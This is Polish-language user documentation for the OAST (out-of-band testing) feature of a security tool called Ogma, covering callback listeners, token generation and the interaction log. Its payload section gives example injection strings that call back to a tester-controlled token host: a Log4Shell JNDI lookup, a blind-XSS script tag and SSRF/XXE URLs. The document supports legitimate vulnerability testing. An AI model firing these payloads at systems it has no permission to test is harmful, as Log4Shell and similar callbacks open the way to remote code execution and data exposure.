OAST
OAST (Out-of-Band Application Security Testing, testy bezpieczeństwa aplikacji poza kanałem głównym) wykrywa podatności, które nie dają widocznej odpowiedzi — zamiast tego cel nawiązuje połączenie wychodzące z kontrolowanym przez Ciebie nasłuchem, potwierdzając problem.
Jak to działa
Ogma uruchamia lokalne nasłuchy obsługujące wiele protokołów. Gdy aplikacja docelowa skontaktuje się z jednym z nich, interakcja zostaje zapisana wraz ze źródłowym adresem IP, znacznikiem czasu, odebranymi danymi i wstrzykniętym tokenem.
Protokoły nasłuchu
| Protokół | Port domyślny | Zastosowanie |
|---|---|---|
| HTTP | Konfigurowalny | SSRF, blind XSS, webhooki |
| HTTPS | Konfigurowalny | SSRF przez TLS |
| DNS | Konfigurowalny | Wstrzykiwanie bez widocznej odpowiedzi, XXE, log4shell |
| SMTP | Konfigurowalny | Wstrzykiwanie nagłówków poczty, SSRF do usług pocztowych |
Skonfiguruj porty nasłuchu i nazwę domeny używaną w generowanych tokenach w panelu ustawień OAST.
Generowanie tokenu połączenia zwrotnego
- Otwórz Narzędzia pomocnicze > OAST.
- Kliknij + Nowy, a następnie Utwórz, aby wygenerować token. Każdy test otrzymuje unikatowy token.
- Skopiuj token. Zawiera domenę Twojego nasłuchu i unikatowy identyfikator, aby umożliwić przypisanie interakcji do konkretnego testu.
Przykładowy format tokenu: [unique-id].[your-oast-domain]
Używanie tokenów w ładunkach
Wstrzyknij token połączenia zwrotnego do dowolnego pola, przez które aplikacja może nawiązać połączenie wychodzące:
- SSRF — użyj tokenu HTTP/HTTPS jako docelowego adresu URL:
https://[token]/ - XXE — odwołaj się do tokenu w DOCTYPE lub adresie URL encji zewnętrznej.
- Log4Shell — umieść go w nagłówku:
${jndi:ldap://[token]/a} - Blind XSS — wstrzyknij go jako wartość atrybutu src skryptu:
<script src="https://[token]/x.js"></script> - Wstrzykiwanie SMTP — użyj go jako adresu docelowego lub URL w nagłówkach poczty.
Dziennik interakcji
Panel interakcji pokazuje każde odebrane połączenie zwrotne:
| Kolumna | Opis |
|---|---|
| Czas | Kiedy odebrano interakcję |
| Protokół | HTTP, HTTPS, DNS lub SMTP |
| Źródłowy adres IP | Adres IP, z którego nawiązano połączenie |
| Token | Z którym tokenem się skontaktowano |
| Dane | Ścieżka żądania, nazwa zapytania DNS lub dane SMTP |
Kliknij dowolny wiersz, aby zobaczyć pełne szczegóły interakcji, w tym nagłówki i treść żądania, jeśli mają zastosowanie.
Przypisywanie interakcji do testów
Ponieważ każdy token jest unikatowy, możesz wstrzykiwać różne tokeny do różnych parametrów lub żądań i dokładnie ustalić, który punkt wstrzyknięcia wywołał połączenie zwrotne.